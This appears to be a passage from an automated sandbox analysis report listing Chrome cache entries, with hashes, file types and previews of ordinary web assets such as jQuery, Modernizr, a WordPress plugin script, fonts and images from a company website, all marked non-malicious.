Size (bytes):	16
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:RFUBLSn:jF
MD5:	69A6D6AC1F32FCB4D6F7FDB41A48750A
SHA1:	F30CAC04A502E28CD6659D05E17B3B1D828D9CFB
SHA-256:	2BEDB435BD912846827C7B366FA3D655076CA65D5329379220F4BD812FA5AF93
SHA-512:	14FFEFAFA59D5A581806E07AA6EB8585720ACCAD797674EFC9F64F2D9D5855BF4B070611091B66E3C5AE4BC30B4D671CDD990873578EE3433F51153ED47F6E6C
Malicious:	false
Reputation:	low
Preview:	// /js/131326.js

Chrome Cache Entry: 186

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (409), with no line terminators
Category:	downloaded
Size (bytes):	409
Entropy (8bit):	5.071644775975722
Encrypted:	false
SSDEEP:	12:mtt3FxSFfVBPIwwsMtRsb4KpfNEpSuIXqEn:mxFMBPIaMu4KlNt1X7
MD5:	B2CB713D9736E814A08353C2FEDCB8E1
SHA1:	E5875894947716625D15D46C92DE1B5A222725A9
SHA-256:	F7BB442B06BFB13ECFEE3C3EC2B6B19440A33E080CA9378F8D6F161281BD01ED
SHA-512:	1F3C9906E4566A4DB12379558A6DA10159F0A8B692C72080D1348EE50FDBA1A8B98A2AE93CA8D1CC4F3925067FB25D33B560F9F7ED5B0AE76655F01BFDAA8C94
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1
Preview:	"use strict";var WPMLLanguageSwitcherDropdown=function(){function t(e){(e=e\|\|window.event).preventDefault&&e.preventDefault(),e.returnValue=!1}return{init:function(){for(var e=document.querySelectorAll(".js-wpml-ls-legacy-dropdown a.js-wpml-ls-item-toggle"),n=0;n<e.length;n++)e[n].addEventListener("click",t)}}}();document.addEventListener("DOMContentLoaded",function(){WPMLLanguageSwitcherDropdown.init()});

Chrome Cache Entry: 187

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 8800, version 1.0
Category:	downloaded
Size (bytes):	8800
Entropy (8bit):	7.934844072529672
Encrypted:	false
SSDEEP:	192:rA71Gknn4tXD2xepeYRjUtNPIiAUlRwniwMQ/s:c7nnsXDeelUIiAUlRwNE
MD5:	D2A226EFC4AFF51F904B83E03441C8C1
SHA1:	23449823627CCBDCEEEC36A7CF1097ACB8CF9D4A
SHA-256:	BFB661731AA4E315BCC044D0DB1D6CC017F967454DF6C16BF38CE815975CB2BB
SHA-512:	690DC0BA18238522114E2C461FD64EC1FF954EAD663348403249C9D19F84F872830138F84BED6D845B0B4BABF9C54CE7A83E6E1FBDFB9F3E81D322E569E9F925
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179
Preview:	wOFF......"`......3.........................OS/2...D...D...V>(H.cmap.......:...J.@..cvt ................fpgm...........p...Ygasp...d............glyf...l...p......Y.head.......5...6....hhea....... ...$....hmtx...4...l.......loca.......d...d.L..maxp....... ... ...oname...$...w.......post.. ....\.......eprep..!....e...{.k..x.c`d.d......T......B3>`0ddb``b`ef....\S..^0..g.......0.(.......}x.c```f.`..F..p....\|... ........^....R...DK0B...#......................x..Vis.G...a.6>...6.Y.r.vV......J.....B.]Kv.O....^.T.o......`'UT(J....L..^...^X...\|)..6id.IH7lZ..C...)SL....h...8$"...u.%.....$.C.2Z.%.jRn.Iw........Q...%5..C.-...E2.6-.._IZ..+.\|..%..$..a...g.V...v.E.M..E.D3<."..Zb.\1A@...R^.4.\|....{...q.v...%?...$.z..%..@vd.{.+."....lG...t}'.#....Q^.h.vE.'....W.X..e...j.\|.<.....Z/sb_....GL.k&..N.....c....],.!..8...J..F)a..$m.9...E..zGL..:-.-a.N..Kg.I.;1........x4..L.N....QJ:.<......$......il3c$.P..si.e'.4..<...a.k.E.<P.=zOon..;=...?k.gu...0....J\|.v.I.~z..&.C..*.-6.

Chrome Cache Entry: 188

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	48439
Entropy (8bit):	7.363136811106029
Encrypted:	false
SSDEEP:	768:Ox+O+tQxFkSsnVMhEys8AH47wlc650fIDOgy/PgtK++aF2uk+Xmr5p:W+NtQgSsnWhqRkz65vDO8PTZXmrH
MD5:	749EA5CB27C4F1BCECB4690175F11676
SHA1:	A4C0C724CF9DFD2F4497AF26A58C8B74AEB56E0C
SHA-256:	1A35D60E8FBCE0F6269226909F9E16E57BC7233D96296753D6ACFB8EDE90F441
SHA-512:	58B09B1D775E4E5041FC8C13D9EE9DDA84260D064276C00EC06A1A490ABE900B477BE4B2E7FA0C6F6E10FE313440A4E07BA977572C317D505C4E2AC3BE659748
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/08/door-inner-with-header.jpg
Preview:	......Exif..II*.................Ducky.......<.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:A78DFEBEB64211E5960E89E0CB43E699" xmpMM:DocumentID="xmp.did:C4BA49CAB64211E5960E89E0CB43E699"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A78DFEBCB64211E5960E89E0CB43E699" stRef:documentID="xmp.did:A78DFEBDB64211E5960E89E0CB43E699"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................................................................................

Chrome Cache Entry: 189

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	dropped
Size (bytes):	95957
Entropy (8bit):	5.39099763946861
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmc:R+41ZqLTW8xRrqSb8qGH77da98Hrf
MD5:	895323ED2F7258AF4FAE2C738C8AEA49
SHA1:	276C87FF3E1E3155679C318938E74E5C1B76D809
SHA-256:	ECB916133A9376911F10BC5C659952EB0031E457F5DF367CDE560EDBFBA38FB8
SHA-512:	C40111C3CC0754E90CF71F72F7F16F43B835B7E808423DFD99F90DD5177538B702E64FF1D9EE8D3BC86AEAA11B6F7A0EF826184E354B162158839FFB75D174CC
Malicious:	false
Reputation:	low
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	19779
Entropy (8bit):	7.228910051315684
Encrypted:	false
SSDEEP:	192:Xpma38yTrnNrjNXNU855qOcxupCBtOPcBv+eIntgklF+mSJsig+hpqnIBmGOGbDI:KyTrNlX+kqlhtCtddig+hpqn4xpDbc
MD5:	98CD30D0942EBEDE68A95D7D19138119
SHA1:	B927E5F7D66AA152A3B3D8FAD784D960D1274DFD
SHA-256:	0C540E13BAF9316A071D3A4487BE5BFAD9FB75009ECCEBAF0C51C2351E9D4C1D
SHA-512:	EE64A538D83BAC295872AA3740CE80BA16505354E2DE9C7D647A3C4A78F4F5ED8D79857B85E7987DDF50B1005E4DE1E2FD6107AB848D440D38181C0545C7B56F
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:08451555093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:08451554093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1209x403, components 3
Category:	dropped
Size (bytes):	135808
Entropy (8bit):	7.984828276495795
Encrypted:	false
SSDEEP:	3072:ASEgNhhVdoBVb60W4yTU+owd7Mo6eJvr3NWJCc2wFCX5:AkdVOxW4qtH7h6el3dc2wFCX5
MD5:	E8755E7CABE9D79570FE3C7A06E3709E
SHA1:	C1AFCF1240FC6B3B506FD4BA48B9411A1FA98075
SHA-256:	812891EF571C79869577DE9390D51041653273D791F7A4F0A9ACAD6B500F3A94
SHA-512:	9992AD2EDF92ACC75CB17970DCBCF0AD96B7AF30D3C5DA0DDF00D955C5F3E9FAB66FCDB9A10748DF325F3A59441A295F6FCF216B853E1F72BE2223B569E3DE74
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......2......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" xmpMM:DocumentID="xmp.did:64ECC761594311E5BEEECBB76CCA2AC5" xmpMM:InstanceID="xmp.iid:64ECC760594311E5BEEECBB76CCA2AC5" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6f6f0b6c-41a0-4ee0-9358-f7178b64928b" stRef:documentID="xmp.did:6f6f0b6c-41a0-4ee0-9358-f7178b64928b"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 455 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6215
Entropy (8bit):	7.928883588522041
Encrypted:	false
SSDEEP:	192:oR9ev8vEW5uJkCRWSRNelzlSylrOgTNxtCUxD:c0CELHXElSyx/tNh
MD5:	279358B3FC005833384366266D2E853A
SHA1:	EDD19378DC72DA47197DC9326E29A05C201824E7
SHA-256:	3C688C45D05E26CC21D7AB8C9949344A5B8CD9B644EC539C0802FB67834D8C5B
SHA-512:	AEBED1CF1762C0A9B3AE1AEF6569CB1AD0835563C358AF78541E6534A784CCB1D6CE7AE20DFA85B6D973E055C4C0C5B3CB950E85F425AD70E657C42BCA415235
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......c.............bKGD.......C......pHYs...#...#.x.?v....tIME.....1...=....tEXtComment.Created with GIMPW.......IDATx..]_.$.}..r.<E.%.)....q......9..$.!7k....z,.....Z.A..7........!..dg....v/o.1;..@..P..~..qD.A..1..<.o....LUu.L....a.{.......w.%.RI.@.@].].P..g..x......@.x.. ..0.F........b..O...}..$K. ....T......M....>.%A..Q.r...#.X[.{....8.:N9-.. H..&...m.QI..).].$A...q....Jl:..... 3...V..%....v..@....&.A.$G.X.p.@.=x.......:..}Q..N.. ..cQR.!.).$.c..&.qEB..C...8.... ....J@mQ.....`...#......C....SN.. ......A.pc.......\|..$t......t..A..Ar4!.#......x.R`.x..I.M....I..Ar.E.......=!.R...I..,.h(...T".. 9..I$jk..q.,.e.3....\|+8...y...... ....!.ta..:...M`5.....\|..(.3......;.R.A.kL......U+.1..#.g........N+. .j.'............"._...?....^m....g........z.......3s....W[.....E...F..R1^..x3E1N....KZ./pz..A..9Jk.....t....r.....\|.OZ>...7..C.e.....D.^.....<ET...J.AV....._.......j.w...B..\..._c.$aI&M\|T.n..f......%D.G.~.n.....!y....O...\...?... .E.r<3...M.sL......."

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12880)
Category:	dropped
Size (bytes):	13380
Entropy (8bit):	5.330901876538843
Encrypted:	false
SSDEEP:	384:GzMmHW5MxT6jhomAul1KQoZRY5y6jHh1pz:GzMWGh/A0Kr25y6jHl
MD5:	B5D515B8F7FAC46027E60F37D73CBC51
SHA1:	C155D244E2CF60CF0616F8F3A5721A7987A255C2
SHA-256:	4FD944887D3A2438C387A3B6C9BF475A106EED33D7CA307ED94CAFDDC1A31553
SHA-512:	781E16329A2DACA844807B1FCD40F5E8AE8C3FE029A8F3FCFA18A2EFC084CBE7A9120BE742C5BE18A5E056EC94A96740D098D007DD382D2E76A353C4957C370F
Malicious:	false
Reputation:	low
Preview:	/* Modernizr 2.8.3 (Custom Build) \| MIT & BSD. * Build: http://modernizr.com/download/#-fontface-backgroundsize-borderimage-borderradius-boxshadow-flexbox-flexboxlegacy-hsla-multiplebgs-opacity-rgba-textshadow-cssanimations-csscolumns-generatedcontent-cssgradients-cssreflections-csstransforms-csstransforms3d-csstransitions-canvas-draganddrop-audio-video-geolocation-inlinesvg-smil-svg-svgclippaths-touch-webgl-shiv-cssclasses-teststyles-testprop-testallprops-hasevent-prefixes-domprefixes-load. */.;window.Modernizr=function(a,b,c){function C(a){j.cssText=a}function D(a,b){return C(n.join(a+";")+(b\|\|""))}function E(a,b){return typeof a===b}function F(a,b){return!!~(""+a).indexOf(b)}function G(a,b){for(var d in a){var e=a[d];if(!F(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function H(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:E(f,"function")?f.bind(d\|\|b):f}return!1}function I(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");ret

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 235 x 202, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17604
Entropy (8bit):	7.963820744847596
Encrypted:	false
SSDEEP:	384:QM7vqaqdOVz9fyMN7ySzE280j//Z+NMlks+1D4c9:hvkdOV88+ifryMlLwp9
MD5:	93B160E028062BC61FE93416C76E0F01
SHA1:	C106E388D0FB815AC60102B9815C4B9F96137460
SHA-256:	45768157C82C0DF974F1D17B82AAD640042F6853BDD09DF24FE6091F16152651
SHA-512:	AA8BCFE35D8BFB77130AC89AB6B846E3A5100CAAE9F63170726DBAD8B0C161A75859F4F0369781A9654B33976955A22BE2503C33F636CF463EADBDAA1681ACA3
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png
Preview:	.PNG........IHDR.............D..F....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:2B93DE70439411E5B4CD90028FE3513D" xmpMM:InstanceID="xmp.iid:2B93DE6F439411E5B4CD90028FE3513D" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:D6B6516FA6BB11E388DD85B00164A8CD" stRef:documentID="xmp.did:D6B65170A6BB11E388DD85B00164A8CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..TZ..A8IDATx...xTE..o7.Y. .8".FG.d.....A.dDF.....Q`..D..\...."K......W..5.HD...,..e.$A@ .;I...oo...u..ow.z...^.R.~.

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 600x450, components 3
Category:	downloaded
Size (bytes):	18989
Entropy (8bit):	7.956649507845701
Encrypted:	false
SSDEEP:	384:2bIn9ICi/PuckvJ1nUhE5GhI7mT0XBBr32Ayosf9480GRFX+g8:OCgPuckfx3zr3INP0gFXO
MD5:	A30C4CD8918ED61621D88BD73F315299
SHA1:	7938854EA0078F63D598BAACD0A3D846A470081F
SHA-256:	BA2789A717CD2EACCB402EB011D6E211FEE965D17327B7F7CEFB501AA47C1380
SHA-512:	A51E0187E659166EC095F97CCA112E1E7C796623FB465D046FDC2F8BE2FE72067B01AB155CA2B2B068C18A551B476F5010F66035FFCAD89E85B0EE4C49920CE0
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2015/09/twb-video-thumb.jpg
Preview:	......Exif..II*.................Ducky.......2.....1http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Macintosh)" xmpMM:InstanceID="xmp.iid:E3B08185599711E5BEEECBB76CCA2AC5" xmpMM:DocumentID="xmp.did:E3B08186599711E5BEEECBB76CCA2AC5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E3B08183599711E5BEEECBB76CCA2AC5" stRef:documentID="xmp.did:E3B08184599711E5BEEECBB76CCA2AC5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...........................................................#"""#''''''''''.................................................

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	dropped
Size (bytes):	19334
Entropy (8bit):	7.087950069728156
Encrypted:	false
SSDEEP:	384:rfg4S3P1kj0WRjPTatI1dVScgxvG1TxNqcIhG87s+OJr:rfgD/1i0iygd4PG1lIds/d
MD5:	E3AEE09837E30888D6E184001DE571CB
SHA1:	C9E4A2D34C9154361ADA74E03565448F71FF3397
SHA-256:	6A25DFF92B8C71467207C674E6DE346BE88FCBBAA02E6E0E76E192BA080C8E6C
SHA-512:	D51D0B34FA3A2E1B6419930F830E05343036A26367FB5840F7749F6F94387F8CD84C6E46E0C3EBF10A83D2D81EEF8A676CD252A3B575F16A4C96BF8FD597AE6C
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:F42E628A092F11E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:F42E6289092F11E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1024x680, components 3
Category:	downloaded
Size (bytes):	19779
Entropy (8bit):	7.228910051315684
Encrypted:	false
SSDEEP:	192:Xpma38yTrnNrjNXNU855qOcxupCBtOPcBv+eIntgklF+mSJsig+hpqnIBmGOGbDI:KyTrNlX+kqlhtCtddig+hpqn4xpDbc
MD5:	98CD30D0942EBEDE68A95D7D19138119
SHA1:	B927E5F7D66AA152A3B3D8FAD784D960D1274DFD
SHA-256:	0C540E13BAF9316A071D3A4487BE5BFAD9FB75009ECCEBAF0C51C2351E9D4C1D
SHA-512:	EE64A538D83BAC295872AA3740CE80BA16505354E2DE9C7D647A3C4A78F4F5ED8D79857B85E7987DDF50B1005E4DE1E2FD6107AB848D440D38181C0545C7B56F
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg
Preview:	......Exif..II*.................Ducky.............,http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:08451555093011E88A78BDB37FCD2333" xmpMM:InstanceID="xmp.iid:08451554093011E88A78BDB37FCD2333" xmp:CreatorTool="Adobe Photoshop CC (Macintosh)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:75B6F5F9085411E8B5BFFEDA2E8BCC30" stRef:documentID="xmp.did:75B6F5FA085411E8B5BFFEDA2E8BCC30"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................................#%'%#.//33//@@@@@@@@@@@@@@@......................&.....&0#....#0+.'''.+550055@@?@

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (8586), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	38968
Entropy (8bit):	5.4122576049805495
Encrypted:	false
SSDEEP:	768:vkXX0FZdapFciPTmmogB1bwo8caJhgbr1clX2R8xnIhW:LapC8TmmogB1bTdTkGR8xnIhW
MD5:	38E5D599E1DE1DDAD69A48AC9CE0778E
SHA1:	885E5CEF718F15C0FCFEAE610A700E11A3CED752
SHA-256:	C50F799823E2AFE20955E44B0A0B52E9C56FA54F136DD0A0F8138F295A9FE3DA
SHA-512:	A6D5D35FC2DE517093404BC878845E6171B671E28D9619FE598D332DAA99840237A13A4FC5E2210EA27AD6C403BC958B4716948C02FD0ACEB4E8AC9E5BFF60CC
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/commercial-transportation/
Preview:	<!DOCTYPE html>.. [if IE 6]><html id="ie6" lang="en-US"><![endif]-->.. [if IE 7]><html id="ie7" lang="en-US"><![endif]-->.. [if IE 8]><html id="ie8" lang="en-US"><![endif]-->.. [if !(IE 6) \| !(IE 7) \| !(IE 8) ]> >..<html lang="ENH"> <![endif]-->..<head>..<meta charset="UTF-8">..<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" />....<link rel="icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="shortcut icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/favicon.ico" type="image/x-icon" />..<link rel="apple-touch-icon" href="https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/images/favicons/apple-touch-icon.png"/>..<meta name="msapplication-TileColor" content="#FFFFFF">..<meta name="msapplication-TileImage" content="https://www.twbcompany.com/2016/wp-content/themes/tw

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	4305
Entropy (8bit):	5.052504385491908
Encrypted:	false
SSDEEP:	48:Hi3ZOrhFzhZ9BBCe+OtnIEfaHjkVynEB/Eq8NWg/P5A99Bmfpf3bCiOU:Hi3ZOrhXZ9We+OBIO8AeQ27/P5AyrBOU
MD5:	34607B589C57EB1F0F1570FC4CA8AF17
SHA1:	895161234750234D7F3D0ABD19D412CA6438FB75
SHA-256:	D6BA80FA6F62488DC30FE2440F1BC93080F1CBAC0580E646ABED672978E96274
SHA-512:	DCC0B77D5C780C947761D3CF970CC09E790E021B933F1078FA931CCD8F03D5B28F41229A87FEB59CE9BC53056AAE233D8B9DFEDDF60D5D37D7B951338E935BB4
Malicious:	false
Reputation:	low
URL:	https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css
Preview:	@font-face {. font-family: 'fontello';. src: url('../font/fontello.eot?96939179');. src: url('../font/fontello.eot?96939179#iefix') format('embedded-opentype'),. url('../font/fontello.woff?96939179') format('woff'),. url('../font/fontello.ttf?96939179') format('truetype'),. url('../font/fontello.svg?96939179#fontello') format('svg');. font-weight: normal;. font-style: normal;.}./* Chrome hack: SVG is rendered more smooth in Windozze. 100% magic, uncomment if you need it. /./ Note, that will break hinting! In other OS-es font will be not as sharp as it could be /./.@media screen and (-webkit-min-device-pixel-ratio:0) {. @font-face {. font-family: 'fontello';. src: url('../font/fontello.svg?96939179#fontello') format('svg');. }.}./. . [class^="icon-"]:before, [class=" icon-"]:before {. font-family: "fontello";. font-style: normal;. font-weight: normal;. speak: none;. . display: inline-block;. text-decoration: inherit;. width: 1em;. margin-righ

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32031)
Category:	downloaded
Size (bytes):	48520
Entropy (8bit):	5.183615021095896
Encrypted:	false
SSDEEP:	768:hdrybCLSG+z0BFKEyby+HvOWvevgOkYtUdEvWBzigMPpIFxIF0uJKW3D+5+gY073:rryKSAybbO4IUdEvPgqIFxIF0UN3CcgB
MD5:	D954E39EF706357FC31FF7D7EED46BD3
SHA1:	0159043ED6809563F86CF7958F810A3F0DA40940
SHA-256:	EF8D6BBC7FF486B90D77742A15B9B69DCA1E8244C56CCB1F660742614E1BD5E4
SHA-512:	C161C8223FC8B7A25F64559BF6D24898B92B4E7EC1B1FB765BACE25FE2C1B4992F3436D4608D3624EDB8ED51E5CF77A2AC4817CB8799953B5D07557162B919A6
Malicious:	false
Reputation:	low
